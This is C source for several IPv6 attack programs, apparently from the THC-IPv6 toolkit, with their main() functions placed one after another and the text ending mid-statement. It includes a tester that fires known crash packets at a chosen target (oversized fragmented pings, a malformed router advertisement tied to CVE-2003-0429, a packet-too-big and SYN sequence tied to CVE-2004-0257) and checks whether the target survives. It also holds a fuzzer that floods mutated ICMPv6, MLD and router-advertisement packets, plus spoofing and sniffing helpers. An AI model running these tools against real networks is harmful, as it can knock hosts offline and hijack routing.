int main(int argc, char *argv[]) { char *interface, string[] = "ip6 and icmp6"; unsigned char *mac6, buf[512]; unsigned char *dst = thc_resolve6("ff02::2"); int i; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; pcap_t *p; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "r")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } interface = argv[optind]; if ((mac6 = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc - optind > 1 && argv[optind + 1] != NULL) dst = thc_resolve6(argv[optind + 1]); memset(buf, 0, sizeof(buf)); buf[0] = 1; buf[1] = 1; memcpy(buf + 2, mac6, 6); i = 8; memset(seen, 0, sizeof(seen)); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; signal(SIGALRM, clean_exit); alarm(5); while (1) { while (thc_pcap_check(p, (char *) dump_ra_reply, NULL) > 0); usleep(100); } return 0; }
int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf[24]; unsigned char *dst6 = NULL, *smac, dstmac[16] = "", *dmac = dstmac; int pkt1_len = 0; char *interface, string[64] = "icmp6"; pcap_t *p; memset(buf, 0, sizeof(buf)); if (argc != 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); interface = argv[1]; sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4], (unsigned int *) &dmac[5]); mac = argv[2]; if ((smac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } dst6 = thc_resolve6("ff02::1"); if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, NULL, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0x01; buf[1] = 0x01; memcpy(buf + 2, smac, 6); buf[8] = 0x02; buf[9] = 0x01; memcpy(buf + 10, dmac, 6); if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_INVNEIGHBORSOL, 0, 0, (unsigned char *) &buf, 16, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, dmac, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Sending inverse packet for %s\n", argv[1]); thc_send_pkt(interface, pkt1, &pkt1_len); sleep(1); while (thc_pcap_check(p, (char *) check_packets, NULL)); return 0; // never reached }
int main(int argc, char *argv[]) { char *interface; pcap_t *p; int i; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "rk:")) >= 0) { switch (i) { case 'r': rawmode = 1; thc_ipv6_rawmode(1); break; case 'k': key = optarg; break; default: fprintf(stderr, "Unknown option\n"); exit(-1); } } interface = argv[optind]; if ((f = fopen(argv[optind + 1], "w")) == NULL) { fprintf(stderr, "Error: file %s cout not be created\n", argv[optind + 1]); exit(-1); } if (key != NULL) { memset(&bfkey, 0, sizeof(bfkey)); SHA1((unsigned char *) key, strlen(key), (unsigned char *) hash); BF_set_key(&bfkey, sizeof(hash), (unsigned char *) hash); memset(vec, 0, sizeof(vec)); num = 0; } if ((p = thc_pcap_init(interface, "ip6")) == NULL) { fprintf(stderr, "Error: could not capture on interface %s\n", interface); exit(-1); } while (1) { thc_pcap_check(p, (char *) check_packets, NULL); usleep(50); } return 0; }
int main(int argc, char *argv[]) { int test = 0, count = 1, tmplen; unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src "; unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr *hdr; int i = 0, j, srcmtu, fragsize, offset = 14; pcap_t *p; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500; char *interface; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (strcmp(argv[1], "-p") == 0) { noping = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; dst6 = thc_resolve6(argv[2]); route6 = thc_resolve6("2a01::"); memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= 4) test = atoi(argv[3]); memset(buf, 0, sizeof(buf)); memset(null_buffer, 0, sizeof(null_buffer)); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); strcat(string2, thc_ipv62notation(dst6)); srcmac = thc_get_own_mac(interface); if (rawmode == 0) { if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } } else dstmac = null_buffer; if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } if (do_hdr_size) srcmtu -= (do_hdr_size - 14); fragsize = ((srcmtu - 62) / 8) * 8; if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } setvbuf(stdout, NULL, _IONBF, 0); memset(tests, 0, sizeof(tests)); printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]); if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]); exit(-1); } else printf("Test 0: normal ping6\t\t\t\tPASSED - we got a reply\n"); /********************** TEST CASES ************************/ if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count); tmplen = 65864; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do them all hdr->pkt[offset + 40 + 3] = 0xe5; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x98; hdr->pkt[offset + 40 + 3] = 0xa4; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0xa3; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x84; hdr->pkt[offset + 40 + 3] = 0x90; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0x8f; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count); tmplen = 65527; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do them all hdr->pkt[offset + 40 + 2] = 0x31; hdr->pkt[offset + 40 + 3] = 0x8c; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); hdr->pkt[offset + 40 + 3] = 0x8a; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = 128; // prefix length // BUG IS HERE buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); memcpy(&buf[32], route6, 16); i += 28; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); sleep(1); thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset); i = 0; while (ports[i] != 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); pkt_len = 0; i++; } } count++; /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count%256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ // more? /******************* END OF TESTCASES ***************************/ if (noping == 1 || check_alive(p, interface, src6, dst6)) printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count); else printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count); thc_pcap_close(p); return 0; }
int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL; unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst "; int test_start = 0, fragment = 0, alert = 0, sroute = 0; int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0; int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0; int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1; int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14; char *interface, fuzzbuf[256], *srcmac, *dns, *route6, *real_dst6 = NULL; unsigned char buf[256], buf2[100], buf3[16]; unsigned short int *sip; pcap_t *p; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:")) >= 0) { switch (i) { case 's': do_type = DO_TCP; port = atoi(optarg); break; case '0': do_type = DO_NODEQUERY; break; case '1': do_type = DO_PING; break; case '2': do_type = DO_NEIGHSOL; break; case '3': do_type = DO_NEIGHADV; break; case '4': do_type = DO_RA; break; case '5': do_type = DO_MLD_REP; break; case '6': do_type = DO_MLD_DONE; break; case '7': do_type = DO_MLD_QUERY; wait = 0xff0000; break; case '8': do_type = DO_MLD2_REPORT; break; case '9': do_type = DO_MLD2_QUERY; wait = 0xff0000; break; case 'X': do_type = DO_NONE; break; case 't': test_start = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'p': ping = atoi(optarg); break; case 'a': do_alive = 0; break; case 'S': sroute = 1; break; case 'n': no_send = atoi(optarg); break; case 'F': fragment = 1; break; case 'R': alert = 1; break; case 'D': destination = 1; break; case 'H': hopbyhop = 1; break; case 'J': jumbo = 1; break; case 'I': header = 1; break; case 'x': extend = 1; break; } } if (argc - optind < 2) { fprintf(stderr, "ERROR: not enough options, interface and target address are required!\n"); exit(-1); } interface = argv[optind]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface); exit(-1); } if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (do_hdr_size) { test_pos -= do_hdr_size; offset -= do_hdr_size; off2 = do_hdr_size; } if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) { if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (do_type == DO_NEIGHSOL) { dst6 = thc_resolve6("ff02::0001:ff00:0000"); memcpy(dst6 + 13, mcast6 + 13, 3); } else dst6 = thc_resolve6("ff02::1"); } else { dst6 = thc_resolve6(argv[optind + 1]); } if (argv[optind + 1] != NULL) if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (interface == NULL || argv[optind + 1] == NULL) { printf("Error: interface and target-ipv6-address are mandatory command line options\n"); exit(-1); } if (ping < 1 || test_end < test_start) { printf("don't f**k up the command line options!\n"); exit(-1); } if (argv[optind + 2] != NULL) someaddr6 = thc_resolve6(argv[optind + 2]); if (argc - optind > 3) { printf("Error: too many command line options\n"); exit(-1); } if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (src6 == NULL) { fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); if (sroute) { if (someaddr6 != NULL) routers[0] = someaddr6; else routers[0] = dst6; routers[1] = NULL; } setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); dns = thc_resolve6("ff02::fb"); route6 = thc_resolve6("2a01::"); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (real_dst6 != NULL && real_dst6[0] == 0xff) do_alive = 0; // ping before to check if it works if (do_alive) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { // fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); // exit(-1); } // generate basic packet strcpy(fuzzbuf, fuzztype_ether); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (header) strcat(fuzzbuf, fuzztype_ip6); else strcat(fuzzbuf, fuzztype_ip6no); if (alert || hopbyhop || jumbo) { memset(buf2, 0, sizeof(buf2)); i = 0; if (alert) { buf2[i++] = 5; buf2[i++] = 2; i += 2; strcat(fuzzbuf, ".F.F"); } if (jumbo) { buf2[i++] = 0xc2; buf2[i++] = 4; buf2[i++] = 'J'; // lookup code buf2[i++] = 'J'; buf2[i++] = 'J'; buf2[i++] = 'J'; strcat(fuzzbuf, ".FBBBB"); } if (hopbyhop) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } if (sroute) { if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; else { strcat(fuzzbuf, "FFFFBBBB................"); offset += 24; } } if (fragment) { frag_offset = offset; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0) return -1; else { strcat(fuzzbuf, "FFWW.."); offset += 8; } } if (destination) { memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; i = 0; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } strcat(fuzzbuf, buf3); // always: X... for every new option } if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } memset(buf, 0, sizeof(buf)); // if (header) strcat(fuzzbuf, fuzztype_icmp6); // else // strcat(fuzzbuf, fuzztype_icmp6no); switch (do_type) { case DO_TCP: // tcp options buf[0] = 2; // max segment size buf[1] = 4; buf[2] = 255; buf[3] = 255; buf[4] = 3; // windows size buf[5] = 3; buf[6] = 62; buf[7] = 1; // padding buf[8] = 8; // timestamp buf[9] = 10; buf[10] = time(NULL) / 16777216; buf[11] = ((time(NULL) / 65536) % 256); buf[12] = ((time(NULL) / 256) % 256); buf[13] = time(NULL) % 256; // 4 bytes ack tstamp 00000000 // rest is padding (2 bytes) if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *) buf, 20, (unsigned char *) buf, 20) < 0) return -1; strcat(fuzzbuf, fuzztype_tcp); break; case DO_PING: if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *) &buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ping); break; case DO_NONE: // empty break; case DO_NEIGHSOL: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, mcast6, 16); buf[16] = 1; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ns); break; case DO_NEIGHADV: if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); else memcpy(buf, src6, 16); buf[16] = 2; buf[17] = 1; memcpy(buf + 18, srcmac, 6); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, 0xe0000000, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6na); break; case DO_NODEQUERY: memcpy(buf + 8, real_dst6, 16); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NODEQUERY, 0, 0x0003003e, (unsigned char *) &buf, 24, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6nq); break; case DO_RA: // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); if (someaddr6 != NULL) memcpy(&buf[32], someaddr6, 16); else memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // = 8 == 56 // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 64; // prefix length /64 buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; buf[i++] = 4; // 56-71 address, 2004:: for default i += 14; // = 24 == 70 // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; if (someaddr6 != NULL) memcpy(buf + i, someaddr6, 16); // dns server else memcpy(buf + i, dns, 16); // dns server i += 16; // = 24 == 94 // seachlist option buf[i++] = 31; buf[i++] = 4; i += 2; memset(buf + i, 1, 4); // validity time i += 4; buf[i++] = 3; memcpy(buf + i, "foo", 3); i += 3; buf[i++] = 4; memcpy(buf + i, "corp", 4); i += 5; // + null byte buf[i++] = 5; memcpy(buf + i, "local", 5); i += 5; buf[i++] = 6; memcpy(buf + i, "domain", 6); i += 7; // + null byte // = 32 == 126 // flag extension option buf[i++] = 26; buf[i++] = 1; buf[i++] = 0x08; i += 5; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6ra); break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, wait, buf, 16, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld); break; case DO_MLD2_QUERY: buf[0] = 0xff; buf[1] = 0x02; buf[15] = 0x05; if (someaddr6 != NULL) memcpy(buf, someaddr6, 16); buf[16] = 7; buf[17] = 120; buf[19] = 3; memcpy(buf + 20, dst6, 16); memcpy(buf + 36, buf, 16); if (thc_add_icmp6(pkt, &pkt_len, DO_MLD_QUERY, 0, wait, buf, 68, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2que); break; case DO_MLD2_REPORT: for (i = 0; i < 3; i++) { buf[0 + 68 * i] = 1 + i * 2 - i / 2; //include new++, generates 1, 3 and 4 buf[3 + 68 * i] = 3; //3 sources buf[4 + 68 * i] = 0xff; buf[5 + 68 * i] = 0x02; buf[18 + 68 * i] = 0x82 + i % 256; buf[19 + 68 * i] = 0xff; memcpy(buf + 20 + 68 * i, src6, 16); buf[36 + 68 * i] = 0xfe; buf[37 + 68 * i] = 0x80; buf[46 + 68 * i] = 0xf0; if (someaddr6 != NULL) memcpy(buf + 52 + 68 * i, someaddr6, 16); } if (thc_add_icmp6(pkt, &pkt_len, do_type, 0, 3, buf, 208, 0) < 0) return -1; strcat(fuzzbuf, fuzztype_icmp6mld2rep); break; default: fprintf(stderr, "ERROR: Mode not implemented yet!\n"); exit(-1); } if (thc_generate_pkt(interface, srcmac, mac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (jumbo) { i = 0; j = 1; while (i < hdr->pkt_len + 4 && j) { if (hdr->pkt[i] == 'J') if (memcmp(&hdr->pkt[i], "JJJJ", 4) == 0) j = 0; i++; } if (j) { fprintf(stderr, "ERROR: fuckup, cant find my own marker?!\n"); exit(-1); } else i--; hdr->pkt[i] = 0; hdr->pkt[i + 1] = 0; hdr->pkt[i + 2] = hdr->pkt[4 + off2]; hdr->pkt[i + 3] = hdr->pkt[5 + off2]; hdr->pkt[4 + off2] = 0; hdr->pkt[5 + off2] = 0; } if (extend) for (i = 0; i < strlen(fuzzbuf); i++) if (fuzzbuf[i] == 'B' || fuzzbuf[i] == 'F') fuzzbuf[i] = 'X'; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d, every packet sent denoted by a dot:\n", test_start, test_end); //printf("buf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; //printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| ", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while 